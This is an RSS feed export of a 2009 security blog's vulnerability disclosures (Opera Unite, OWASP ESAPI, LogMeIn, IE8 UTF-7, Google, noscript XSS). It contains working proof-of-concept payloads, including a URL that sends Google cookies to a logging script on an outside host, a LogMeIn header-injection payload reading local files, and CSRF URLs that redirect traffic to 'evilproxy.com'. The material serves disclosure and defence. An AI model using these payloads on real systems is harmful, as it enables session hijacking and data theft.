<p>9. <strong>XSS ing the unite-session-id cookie, works for almost all services &#8212; </strong> There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera11.jpg" title="" class="shutterset_singlepic17" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/17__400x400_opera11.jpg" alt="Opera Unite XSS ing the unite-session-id cookie using older Flash" title="Opera Unite XSS ing the unite-session-id cookie using older Flash" />
</a>
<br/></p>
<p>10. <strong>Clickjacking any Service Page &#8212; </strong> Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn&#8217;t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.</p>
<p>11. <strong>Inconsistency in Password Policy for some services &#8212; </strong> Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password &#8220;default&#8221;. So, your users will have to generate a strong password themselves, which is highly unlikely.</p>
<p><br/><br />
<strong>References :&#8211;</strong></p>
<p>1. Clickjacking &#8211; Jeremiah Grossman and Robert &#8220;RSnake&#8221; Hansen<br />
<a href="http://ha.ckers.org/blog/20081007/clickjacking-details/">http://ha.ckers.org/blog/20081007/clickjacking-details/</a></p>
<p>2. Forging HTTP Request Headers with Flash &#8211; Amit Klein<br />
<a href="http://www.securityfocus.com/archive/1/441014 ">http://www.securityfocus.com/archive/1/441014 </a></p>
<p>3. Exploiting XSS Vulnerabilities on Cookies &#8211; Sirdarckcat<br />
<a href="http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html">http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html</a></p>
<p>4. CSRF-ing File Upload Fields &#8211; Kuza55<br />
<a href="http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html">http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Bypassing OWASP ESAPI XSS Protection inside Javascript</title>
		<link>http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/</link>
		<comments>http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 08:08:53 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Solutions]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[esapi]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[xss prevention cheatsheet]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=722</guid>
		<description><![CDATA[Everyone knows the invaluable XSS cheat sheet maintained by &#8220;RSnake&#8221;. It is all about breaking things and features all the scenarios that can result in XSS. To complement his efforts, there is an excellent XSS prevention cheat sheet created by &#8220;Jeff Williams&#8221; (Founder and CEO, Aspect Security). As far as I have seen, this wiki [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone knows the invaluable <a href="http://ha.ckers.org/xss.html">XSS cheat sheet</a> maintained by <a href="http://ha.ckers.org">&#8220;RSnake&#8221;</a>. It is all about breaking things and features all the scenarios that can result in <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>. To complement his efforts, there is an excellent <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">XSS prevention cheat sheet</a> created by &#8220;Jeff Williams&#8221; (Founder and CEO, <a href="http://www.aspectsecurity.com">Aspect Security</a>). As far as I have seen, this wiki page provides the most comprehensive information on protecting yourself from XSS on the internet. It advises using the <a href="http://www.owasp.org">OWASP</a> <a href="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API">ESAPI</a> api to mitigate any XSS arising from untrusted user input.</p>
<p>I was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any potential flaws. Any weakness impacts a very large number of users since many developers are using it to strengthen their web applications throughout the world. This is my way of contributing back to the community, but can never match the immense efforts put by Jeff and other OWASP team members in developing this library.</p>
<p>I want to give you a little bit of background before diving into the real vulnerability. The XSS prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets &#8211; HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of these four buckets, there is an ESAPI function reference you can use for output escaping/encoding.</p>
<blockquote><p>If you allow any untrusted user input into javascript functions document.write() OR eval(), it can still execute the XSS even after you do the scrubbing using the ESAPI encodeForJavaScript() function. The reason being that hex escaped chars are converted back into normal chars at the time of execution of these functions. </p></blockquote>
<p>Here is the proof of concept jsp code:</p>
<pre class="brush: javascript; wrap-lines: true">
&lt;%@page import="org.owasp.esapi.*"%&gt;

&lt;%@page contentType="text/html" pageEncoding="UTF-8"%&gt;
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd"&gt;

&lt;html&gt;
    &lt;head&gt;
        &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
        &lt;title&gt;ESAPI XSS Protection Bypass&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;h1&gt;ESAPI XSS Protection Bypass&lt;/h1&gt;
        &lt;p id="tb1"/&gt;&lt;br&gt;
        &lt;p id="tb2"/&gt;
        &lt;script&gt;
            //in real scenario, these three strings come from request.getParameter or user input
            &lt;%
                String vulstr1 = "-1';alert(0);";
                String vulstr2 = "&lt;img src=x onerror=alert(1)&gt;";
                String vulstr3 = "0,x setter=alert,x=2";
            %&gt;   

            // you can safely use it in places like this
            // Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
            var a='&lt;%= ESAPI.encoder().encodeForJavaScript(vulstr1) %&gt;';
            alert(a);

            // However, you can bypass protection in places like these
            // Ex. vulstr2 gets written to html and alert(1) executes
            document.write("&lt;%= ESAPI.encoder().encodeForJavaScript(vulstr2) %&gt;");
            // Ex. part of vulstr3 get assigned to u, rest alert(2) executes
            eval("u=&lt;%= ESAPI.encoder().encodeForJavaScript(vulstr3) %&gt;");
        &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Much thanks to <a href="http://jeremiahgrossman.blogspot.com/">Jeremiah Grossman</a> and <a href="http://twitter.com/planetlevel">Jeff Williams</a> for taking the time to review my idea and providing their insights. Jeremiah told me that he has seen such injections from time to time at <a href="http://www.whitehatsec.com">WhiteHat</a> and these do exist in the wild. </p>
<p>Jeff confirmed that some documentation changes will fix this. I agree that no esapi code change is required, because function themselves are not insecure. </p>
<blockquote><p>But, if you are currently using esapi functions inside your javascript code, it is important that you re-review your javascript code and the places where your make calls to esapi functions.</p></blockquote>
<p> If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(&#8220;&lt;script>alert(&#8216;XSS&#8217;)&lt;/script>&#8221;), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and  (space) char and it won&#8217;t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.</p>
<p>Any more suggestions or discussion on fixes is highly welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Multiple vulnerabilities in LogMeIn web interface can be used to control your computer and steal arbitary files</title>
		<link>http://securethoughts.com/2009/06/multiple-vulnerabilities-in-logmein-web-interface-can-be-used-to-control-your-computer-and-steal-arbitary-files/</link>
		<comments>http://securethoughts.com/2009/06/multiple-vulnerabilities-in-logmein-web-interface-can-be-used-to-control-your-computer-and-steal-arbitary-files/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 02:50:58 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Cross Site Request Forgery]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Header Injection]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Local Files]]></category>
		<category><![CDATA[LogMeIn]]></category>
		<category><![CDATA[Remote Access]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=379</guid>
		<description><![CDATA[A month ago, I reported some severe vulnerabilities in LogMeIn software, specifically version 4.0.784. For those of you that don&#8217;t know what LogMeIn is, LogMeIn is a popular remote access software, just like GotoMyPC and Windows RDP. It provides simple and secure access to your computers from any location on the internet, at the convenience [...]]]></description>
			<content:encoded><![CDATA[<p>A month ago, I reported some severe vulnerabilities in <a href="https://secure.logmein.com/products/free/">LogMeIn</a> software, specifically version <strong>4.0.784</strong>. For those of you that don&#8217;t know what LogMeIn is, <a href="https://secure.logmein.com/">LogMeIn</a> is a popular remote access software, just like <a href="https://secure.logmein.com/">GotoMyPC</a> and <a href="http://www.microsoft.com/windowsXp/using/mobility/getstarted/Remoteintro.mspx">Windows RDP</a>. It provides simple and secure access to your computers from any location on the internet, at the convenience of your web browser.</p>
<p>For exploiting these vulnerabilities, you need to social engineer the user to click on a url (e.g. through spam email) or make them visit your evil site somehow.</p>
<p><strong>Vulnerability 1:</strong><br />
The url paramater &#8220;lang&#8221; passed to cfgadvanced.html is vulnerable to <a href="http://en.wikipedia.org/wiki/HTTP_Header_Injection">HTTP Header Injection</a> attack using CRLFs. What makes this attack more interesting is once you social engineer a user into clicking this malicious url, you achieve persistent control over all the LogMeIn web pages.</p>
<p>This happens because after the injection occurs, LogMeIn stores the new value of &#8220;lang&#8221; paramater in registry key <strong>[HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\Appearance\Language]</strong> and puts it in Content-Language header everytime you click any link.</p>
<p>The proof of concept url given below can by used to <strong>STEAL ANY FILE ON YOUR DISK</strong>, in this case your win.ini file.</p>
<pre class="brush: plain; wrap-lines: true;">https://localhost:2002/cfgadvanced.html?op=update&amp;DisconnectExisting=1&amp;NoHttpCompr=1&amp;CrashDumpInfo=0&amp;lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--</pre>
<p>To help you understand this exploit better, I am pasting the url decoded parameter value of &#8220;lang&#8221; paramater.</p>
<pre class="brush: html; wrap-lines: true">lang=en-US

&lt;html&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;script&gt;
var ifr=null;
function al()
{
var str=(window.frames[0].document.body.innerHTML || ifr.contentDocument.documentElement.innerHTML);
alert(str.substring((str.toLowerCase()).indexOf("&lt;legend&gt;",400)));
}
if(window.location.href.match(/.*cfgad.*/))
{
ifr=document.createElement("iframe");
ifr.src="https://localhost:2002/logs.html?log=../../../windows/win.ini";
document.body.appendChild(ifr);
setTimeout("al()",4000);
}
&lt;/script&gt;
&lt;!--</pre>

<a href="http://securethoughts.com/wp-content/gallery/security/logmein1.png" title="" class="shutterset_singlepic1" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/1__500x300_logmein1.png" alt="LogMeIn -  Local File Disclosure using Header Injection" title="LogMeIn -  Local File Disclosure using Header Injection" />
</a>
<br />
<br/><br />
<strong>Vulnerability 2:</strong><br />
The LogMeIn web interface does not have any Cross Site Request Forgery protection at all. It can be used by an attacker to make arbitrary changes to your LogMeIn System Settings. Example attacks include:</p>
<p>a.	The following url can be used to make your machine restart everyday at a particular time. Too bad if you are using LogMeIn in a production environment <img src='http://securethoughts.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> .</p>
<pre class="brush: plain; wrap-lines: true">https://localhost:2002/restartat.html?type=1&amp;datey=2009&amp;datem=04&amp;dated=28&amp;daily=1&amp;week=0&amp;timeh=22&amp;timem=40&amp;force=1&amp;op=set</pre>
<p>
<a href="http://securethoughts.com/wp-content/gallery/security/logmein2.png" title="" class="shutterset_singlepic2" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/2__500x300_logmein2.png" alt="LogMeIn - Change Reboot Settings using CSRF" title="LogMeIn - Change Reboot Settings using CSRF" />
</a>

<p>b.	The following url can be used to set an intercepting proxy that passively listens all your LogMeIn traffic.</p>
<pre class="brush: plain; wrap-lines: true">https://localhost:2002/cfgnet.html?submit=1&amp;restart=&amp;ListenPort=2002&amp;ListenPort=2002&amp;ListenIP=*&amp;IPFilter=&amp;BrokenProxy=255.255.255.0&amp;ServicingThreads=50&amp;IdleTimeOut=0%3A00%3A20%3A00&amp;VersionCheck=1&amp;ProxyAddr=evilproxy.com&amp;ProxyPort=2000&amp;ProxyUsername=user1&amp;ProxyPassword=pass1&amp;submit=Apply</pre>
<p>
<a href="http://securethoughts.com/wp-content/gallery/security/logmein3.png" title="" class="shutterset_singlepic3" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/3__500x300_logmein3.png" alt="LogMeIn - Change Proxy Settings using CSRF" title="LogMeIn - Change Proxy Settings using CSRF" />
</a>
<br/><br />
The LogMeIn Team is currently fixing all these vulnerabilities and a patched version should be available anytime this month. Till then, I advise disabling LogMeIn completely. Web Interfaces are historically known to be disastrous (e.g. <a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html">uTorrent Pwn3d</a>, <a href="http://www.gnucitizen.org/blog/router-hacking-challenge/">Router Hacking Challenge</a>), so make sure you know what gets installed on your computer <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/06/multiple-vulnerabilities-in-logmein-web-interface-can-be-used-to-control-your-computer-and-steal-arbitary-files/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Exploiting IE8 UTF-7 XSS Vulnerability using Local Redirection</title>
		<link>http://securethoughts.com/2009/05/exploiting-ie8-utf-7-xss-vulnerability-using-local-redirection/</link>
		<comments>http://securethoughts.com/2009/05/exploiting-ie8-utf-7-xss-vulnerability-using-local-redirection/#comments</comments>
		<pubDate>Tue, 12 May 2009 04:41:21 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Charset]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Local Redirection Attack]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[UTF-7]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=223</guid>
		<description><![CDATA[Conventions:
Attacker Domain &#8211; Securethoughts.com
Target Domain   &#8211; 50webs.com
If you don&#8217;t remember, there was an important XSS vulnerability reported in all major browsers a while ago &#8211; IE7, Firefox and Opera.  More Information is available in the Secunia advisories here. The vulnerability was that if you don&#8217;t specify a charset in your application page, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Conventions:</strong><br />
Attacker Domain &#8211; Securethoughts.com<br />
Target Domain   &#8211; 50webs.com</p>
<p>If you don&#8217;t remember, there was an important XSS vulnerability reported in all major browsers a while ago &#8211; IE7, Firefox and Opera.  More Information is available in the <a href="http://www.secunia.com">Secunia</a> advisories <a href="http://secunia.com/advisories/search/?search=utf-7+charset+inheritance">here</a>. The vulnerability was that if you don&#8217;t specify a charset in your application page, then it is susceptible to inherit the charset in the parent page via iframes. So, if you accidently land on an evil site, an attacker might be able to steal your application session since your usual XSS prevention stuff [&lt;,&gt;,",',etc] will not filter the utf-7 encoded chars and XSS will execute in your vulnerable domain. Proof of Concept that works in IE7 but not in IE8 -<br />
<a href="http://www.securethoughts.com/security/ie8utf7/ie7utf-7.html">http://www.securethoughts.com/security/ie8utf7/ie7utf-7.html</a></p>
<p>This vulnerability was patched in Firefox 2.0.0.2, Opera 9.20 and recently in Internet Explorer 8. Ideally, we should not be vulnerable to this attack anymore. However, I have found a way to attack the fix that was done in Internet Explorer 8. I have tested it working with IE8 RC1 and final release version IE8.0.6001.18702. I call this a <strong>&#8220;Local Redirection Attack&#8221;</strong>.</p>
<p>The attack works as follows:</p>
<p>1. You are authenticated to vulnerable domain e.g. 50webs.com.</p>
<p>2. You land onto the evil site via link &#8211; <br/><a href="http://www.securethoughts.com/security/ie8utf7/ie8utf-7.html">http://www.securethoughts.com/security/ie8utf7/ie8utf-7.html</a>.</p>
<p>3. The page loads into your IE8 browser.</p>
<p><strong>4. IE8 thinks that it is loading a child page -<br />
[http://www.securethoughts.com/security/ie8utf7/utf-71.html] from the same domain and hence removes the restriction on charset inheritance.</p>
<p>5. This is where Local Redirection Attack comes into play. The attacker sets a temporary redirect on the child page to vulnerable site [http://webappsec.50webs.com/utf-71.html].</strong> Make sure that the link to vulnerable site is a page with your UTF-7 injected characters [Persistent/Reflected XSS]. In this case, my utf-71.html page on 50webs.com has a persistent XSS with UTF-7 characters.</p>
<p>6. The XSS executes in the context of vulnerable site. E.g. if you see below, you can see my 50webs.com member cookie appended with &#8216;XSS&#8217; in an alert box.</p>
<p>
<a href="http://securethoughts.com/wp-content/gallery/security/ie8utf7.png" title="" class="shutterset_singlepic5" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/5__500x300_ie8utf7.png" alt="IE8 UTF-7 Charset Inheritance Exploit using Local Redirection" title="IE8 UTF-7 Charset Inheritance Exploit using Local Redirection" />
</a>
<br/><br />
I have been in touch with Jack from Microsoft Security Response Center (MSRC) team for the last 2 months. I would like to thank the Microsoft Security Team for their timely responses and letting me discuss these issues with the security community. They are actively working to resolve this issue and a fix for this vulnerability is expected to arrive in the next version of Internet Explorer, IE9.</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/05/exploiting-ie8-utf-7-xss-vulnerability-using-local-redirection/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Universal XSS Vulnerability in all Google Services can compromise your personal information</title>
		<link>http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/</link>
		<comments>http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/#comments</comments>
		<pubDate>Fri, 08 May 2009 01:00:36 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Cookie Stealing]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=252</guid>
		<description><![CDATA[Vulnerability Reported: 04/18/2009 9.33 pm
Google&#8217;s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday  )
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm
I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google&#8217;s Support Python Script where a malicious url is not sanitized for XSS character [...]]]></description>
			<content:encoded><![CDATA[<p>Vulnerability Reported: 04/18/2009 9.33 pm<br />
Google&#8217;s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )<br />
Vulnerability Fixed: 05/05/2009 7.05 pm<br />
Change Propogated: 05/07/2009 3.19 pm</p>
<p>I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google&#8217;s Support Python Script where a malicious url is not sanitized for XSS character &#8216; (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.</p>
<p>The only limitation was the following characters were either filtered out or url encoded &#8211; &#8221; (double quote) &lt; &gt;  (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.</p>
<p>Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to</p>
<p>1. Steal your <a href="http://mail.google.com">emails</a>.<br />
2. Steal your <a href="http://www.google.com/contacts">contacts</a>.<br />
3. Steal your <a href="http://docs.google.com">documents</a>.<br />
4. Steal your <a href="http://code.google.com">code</a>.<br />
5. Steal your <a href="http://sites.google.com">sites</a>.<br />
6. Steal your <a href="http://analytics.google.com">website analytics</a>.<br />
7. Backdoor your <a href="http://www.google.com/ig/directory?hl=en">iGoogle Homepage with malicious gadgets</a>.<br />
&#8230;. and there should be still some more things remaining that you can play with.<br />
<br/><br />
Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-</p>
<pre class="brush: plain; wrap-lines: true">http://google.com/support/webmasters/bin/answer.py?answer=34575&#038;cbid=-1oudgq5c3804g';alert(document.cookie);//&#038;src=cb&#038;lev=index</pre>
<p>
<a href="http://securethoughts.com/wp-content/gallery/security/googlexss.png" title="" class="shutterset_singlepic4" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/4__500x300_googlexss.png" alt="Universal Google XSS in Python Script" title="Universal Google XSS in Python Script" />
</a>
<br />
More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-</p>
<pre  class="brush: plain; wrap-lines: true">http://google.com/support/webmasters/bin/answer.py?answer=34575&#038;cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&#038;lev=index</pre>
<p><br/>I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this <a href="http://www.google.com/#hl=en&amp;q=site%3Agoogle.com+filetype%3Apy+inurl%3Aanswer.py">Google Dork</a> to see the usage of this script in almost all Google Services.</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>HP&#8217;s SWFScan does not find simple XSS in Flash Apps</title>
		<link>http://securethoughts.com/2009/04/hps-swfscan-does-not-find-simple-xss-in-flash-apps/</link>
		<comments>http://securethoughts.com/2009/04/hps-swfscan-does-not-find-simple-xss-in-flash-apps/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 06:48:28 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Solutions]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[SWFIntruder]]></category>
		<category><![CDATA[SWFScan]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=205</guid>
		<description><![CDATA[This will a short post on my review of the new HP&#8217;s solution for auditing Flash apps &#8211; SWFScan. It has a variety of features, some of which are highlighted on the HP&#8217;s Blog here. 
Before that, I have used Stefano&#8217;s Tool, SWFIntruder. It is a nice tool to audit Actionscript 2 apps, but it [...]]]></description>
			<content:encoded><![CDATA[<p>This will a short post on my review of the new HP&#8217;s solution for auditing Flash apps &#8211; <a href="http://www.hp.com/go/swfscan">SWFScan</a>. It has a variety of features, some of which are highlighted on the HP&#8217;s Blog <a href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/exposing-flash-application-vulnerabilities-with-swfscan.aspx">here</a>. </p>
<p>Before that, I have used <a href="http://www.wisec.it/">Stefano&#8217;s Tool</a>, <a href="https://www.owasp.org/index.php/Category:SWFIntruder">SWFIntruder</a>. It is a nice tool to audit Actionscript 2 apps, but it only reports XSS issues and does not support Actionscript 3. This time, I was out of luck, since I needed to audit a Actionscript 3 App. Also, I could not decompile and study its source code since the free tool <a href="http://www.nowrap.de/flare.html">Flare</a> does not work on Actionscript 3.</p>
<p>So, I decided to give HP&#8217;s tool a try. I had a lot of expectations from this tool, since HP already has a popular tool WebInspect which is known in the industry for its website and web services auditing capabilities. I ran this tool on my app and it decompiled beautifully the complete source code of the flash app. It has a  useful search feature which can aid in manually studying source code for vulnerabilities. However, I wanted to see some of its automatic auditing capabilities. So, I ran the scan and found it to find some issues like crypto issues(sha0/sha1), stacktraces, etc. Apart from that, it didn&#8217;t report any serious issues like XSS, etc. It also does report a large number of false positives in checks that start with &#8220;Possible/Potentially &#8211; - &#8211; -&#8221;. But i am willing to ignore those as long as the tool can effectively find some important vulnerabilities.</p>
<p>I didn&#8217;t know my app had any XSS issues or not, so I decided to use the free test.swf which is provided as part of SWFIntruder. </p>
<blockquote><p><strong>To my surprise, HP&#8217;s SWFScan tool did not report any of the 5 XSS issues reported by SWFIntruder.</strong></p></blockquote>
<p>If you see the screenshots below, swfscan shows you the vulnerabilities it found and the decompiled source code. Using manual inspection, a penetration tester can easily locate XSS issues in parameters such as _root.obj and _root.sd which are directly written into html without any escaping/filtering. I hope this free SWFScan tool improves in the near future and does not miss auditing such simple vulnerabilities.</p>
<p>
<img src="http://securethoughts.com/security/swfscan/swfscan1.jpg" alt="SWFScan" /><br />
<br />
<img src="http://securethoughts.com/security/swfscan/swfintruder1.jpg" alt="SWFIntruder" /></p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/04/hps-swfscan-does-not-find-simple-xss-in-flash-apps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking for XSS inside noscript html tags</title>
		<link>http://securethoughts.com/2009/02/hacking-for-xss-inside-noscript-html-tags/</link>
		<comments>http://securethoughts.com/2009/02/hacking-for-xss-inside-noscript-html-tags/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 09:09:52 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Noscript]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=112</guid>
		<description><![CDATA[I have found a XSS vector inside html noscript tags. It is very simple and easy. This attack method is not new as it is already discussed in the context of other html tags such as title, textarea, style, etc.
For understanding this attack, first lets compose a simple html file with the following contents:
&#60;noscript&#62;
&#60;script&#62;alert('XSS')&#60;/script&#62;
&#60;/noscript&#62;
Then lets [...]]]></description>
			<content:encoded><![CDATA[<p>I have found a XSS vector inside html noscript tags. It is very simple and easy. This attack method is not new as it is already discussed in the context of other html tags such as title, textarea, style, etc.</p>
<p>For understanding this attack, first lets compose a simple html file with the following contents:</p>
<pre class="brush: html; wrap-lines: true">&lt;noscript&gt;
&lt;script&gt;alert('XSS')&lt;/script&gt;
&lt;/noscript&gt;</pre>
<p>Then lets run this file in your browser (Example &#8211; <a href="http://www.securethoughts.com/security/htmlnoscript/noscript.html">noscript.html</a>). You would notice that it won&#8217;t execute the javascript to show an alert box. The reason being:</p>
<ol>
<li>If you have javascript enabled, then any content inside noscript tags does not get parsed. Check the standards <a href="http://dev.w3.org/html5/spec/Overview.html#the-noscript-element">here</a>.</li>
<li>If you don&#8217;t have javascript enabled, then content inside noscript tags will be parsed. However, since javascript content is globally disabled, the javascript code inside noscript tags won&#8217;t execute as well.</li>
</ol>
<p>So, then the only way left to execute our malicious XSS inside noscript html tags is to come out of the noscript tag using <strong>&lt;/noscript&gt;</strong> and then use our simple XSS vector. Also, you should add the html comments start tag at the end to prevent any html parser errors. The complete attack vector looks like this:</p>
<pre class="brush: html; wrap-lines: true">"&gt;&lt;/noscript&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;&lt;!--</pre>
<p>I have seen some real world examples where this attack is possible. It looks like that Developers have a false illusion in their minds that it is not required to escape user supplied content inside noscript html tags. This posting should help to open some eyes.</p>
<p>The example code given below comes from the html page of a mid-size company that aims to put the world wide web offline. Despite several attempts to contact the site owner, I have not received any response. Since this vulnerability still exists, I have removed the site&#8217;s name from the various images below.</p>
